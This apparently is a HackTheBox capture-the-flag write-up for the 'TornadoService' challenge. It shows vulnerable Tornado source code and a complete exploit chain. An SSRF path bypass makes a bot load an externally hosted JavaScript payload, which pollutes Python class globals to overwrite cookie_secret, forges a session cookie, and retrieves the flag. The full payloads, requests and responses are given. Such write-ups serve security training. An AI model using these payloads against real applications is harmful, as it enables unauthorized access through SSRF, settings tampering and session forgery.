Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Tornadoservice.en.md READ_ONLY

Challenge TornadoService

This challenge consists of exploiting a Server-Side Request Forgery (SSRF) vulnerability in the report functionality and the solution consists of using a Class Pollution payload hosted externally to alter the application's cookie_secret value, forging a valid session cookie, and accessing the protected endpoint to retrieve the flag.

The analysis of the challenge begins by reviewing the main.py source code, where a class named UpdateTornadoHandler changes the state of machines. This handler is protected by a check is_request_from_localhost, which restricts access to requests originating from 127.0.0.1 or ::1.

def post(self):
    self.set_header("Content-Type", "application/json")
    if not is_request_from_localhost(self):
      self.set_status(403)
      self.write(json_response("Only localhost can update tornado status.", "Forbidden", error=True))
      return

    try:
      data = json.loads(self.request.body)
      machine_id = data.get("machine_id")

      for tornado in self.tornados:
        if tornado.machine_id == machine_id:
          update_tornados(data, tornado)
          self.write(json_response(f"Status updated for {machine_id}", "Update"))
          return

      self.set_status(404)
      self.write(json_response("Machine not found", "Not Found", error=True))
    except json.JSONDecodeError:
      self.set_status(400)
      self.write(json_response("Invalid JSON", "Bad Request", error=True))
def is_request_from_localhost(handler):
    if handler.request.remote_ip in ["127.0.0.1", "::1"]:
        return True
    return False

Further examination of the ReportTornadoHandler class reveals that the ip parameter is concatenated to form a URL pointing to /agent_details. However, the concatenation logic can be bypassed to query arbitrary endpoints, introducing a Server-Side Request Forgery (SSRF) vulnerability.

class ReportTornadoHandler(BaseHandler):
  def initialize(self, tornados):
    self.tornados = tornados

  def get(self):
    self.set_header("Content-Type", "application/json")
    ip_param = self.get_argument("ip", None)
    tornado_url = f"http://{ip_param}/agent_details"
    if ip_param and is_valid_url(tornado_url):
      bot_thread(tornado_url)
      self.write(json_response(f"Tornado: {ip_param}, has been reported", "Reported"))
    else:
      self.set_status(400)
      self.write(json_response("IP parameter is required", "Bad Request", error=True))

To access the protected /stats endpoint, a valid session is required. The users and their passwords are generated randomly, making brute-forcing impractical.

USERS = [
  {
    "username": "lean@tornado-service.htb",
    "password": generate(32),
  },
  {
    "username": "xclow3n@tornado-service.htb",
    "password": generate(32),
  },
  {
    "username": "makelaris@tornado-service.htb",
    "password": generate(32),
  }
]

However, the update_tornados function in general.py recursively merges objects. This pattern is vulnerable to Class Pollution, which can be exploited to overwrite application settings.

def update_tornados(tornado, updated):
    for index, value in tornado.items():
        if hasattr(updated, "__getitem__"):
            if updated.get(index) and type(value) == dict:
                update_tornados(value, updated.get(index))
            else:
                updated[index] = value
        elif hasattr(updated, index) and type(value) == dict:
            update_tornados(value, getattr(updated, index))
        else:
            setattr(updated, index, value)

The application initialization sets up a cookie_secret using a randomly generated value. If this secret is overwritten via the Class Pollution vulnerability, arbitrary session cookies can be forged.

def make_app():
  settings = {
    "static_path": os.path.join(os.path.dirname(__file__), "static"),
    "cookie_secret": generate(32),
    "default_handler_class": NotFoundHandler,
    "autoreload": True
  }

  return tornado.web.Application([
    (r"/", IndexHandler),
    (r"/get_tornados", GetTornadosHandler, dict(tornados=TORNADOS)),
    (r"/update_tornado", UpdateTornadoHandler, dict(tornados=TORNADOS)),
    (r"/report_tornado", ReportTornadoHandler, dict(tornados=TORNADOS)),
    (r"/login", LoginHandler),
    (r"/stats", ProtectedContentHandler),
    (r".*", NotFoundHandler),
  ], **settings)

To execute the exploit, a malicious HTML file containing JavaScript is crafted. This script sends a POST request to http://localhost:1337/update_tornado from the context of the SSRF bot, modifying the global APP.settings.cookie_secret to "pwned" via the __class__, __init__, and __globals__ attributes.

$ cat exploit/exploit.html
<!DOCTYPE html>
<html>
<head>
    <title>Exploit SSRF</title>
</head>
<body>
    <script>
        fetch("http://localhost:1337/update_tornado", {
            method: "POST",
            mode: "no-cors",
            headers: {
                "Content-Type": "text/plain"
            },
            body: JSON.stringify({
                "machine_id": "host-4455",
                "status": "XD",
                "__class__": {
                  "__init__": {
                      "__globals__": {
                        "APP": {
                          "settings": {
                              "cookie_secret": "pwned"
                          }
                        }
                      }
                  }
                }
            })
        })
        .then(res => console.log("Blind payload sent"))
        .catch(err => console.error("Error:", err));
    </script>
</body>
</html>

The payload is hosted on an external server and verified to be accessible.

$ curl -X GET https://attacker.github.io/TornadoService/exploit.html
<!DOCTYPE html>
<html>
<head>
    <title>Exploit SSRF</title>
</head>
<body>
    <script>
        fetch("http://localhost:1337/update_tornado", {
            method: "POST",
            mode: "no-cors",
            headers: {
                "Content-Type": "text/plain"
            },
            body: JSON.stringify({
                "machine_id": "host-4455",
                "status": "XD",
                "__class__": {
                  "__init__": {
                      "__globals__": {
                        "APP": {
                          "settings": {
                              "cookie_secret": "pwned"
                          }
                        }
                      }
                  }
                }
            })
        })
        .then(res => console.log("Blind payload sent"))
        .catch(err => console.error("Error:", err));
    </script>
</body>
</html>

The SSRF vulnerability is then triggered by reporting the malicious URL to the /report_tornado endpoint, appending a ? character to effectively drop the hardcoded /agent_details path.

GET /report_tornado?ip=attacker.github.io/TornadoService/exploit.html? HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.64:30811/
Sec-GPC: 1
Connection: keep-alive
Priority: u=0

The server confirms the URL has been processed by the bot.

HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:04:37 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "2c61a315e8741964aa4244c9fc146a25d171744f"
Content-Length: 140

{
    "success": {
        "type": "Reported",
        "message": "Tornado: attacker.github.io/TornadoService/exploit.html?, has been reported"
    }
}

With the cookie_secret now predictably set to "pwned", a virtual environment is created to generate a valid session cookie for the user makelaris@tornado-service.htb.

$ python3 -m venv venv
$ source venv/bin/activate
$ pip install tornado==6.4.1
Collecting tornado==6.4.1
  Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.5 kB)
Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (436 kB)
Installing collected packages: tornado
Successfully installed tornado-6.4.1

A short Python script leverages the tornado.web module to construct the forged session cookie.

$ python3 -c "import tornado.web; print(tornado.web.create_signed_value('pwned', 'user', 'makelaris@tornado-service.htb').decode('utf-8'))"
2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369

Using the forged token, a request is made to the /stats endpoint to retrieve the flag.

GET /stats HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Cookie: user=2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The application successfully authenticates the request, revealing the final flag.

HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:08:29 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "5fab7d2b46e53c3d5a17e2a984ec08a52943c3d7"
Content-Length: 82

{
    "success": {
        "type": "Success",
        "message": "HTB{FLAG}"
    }
}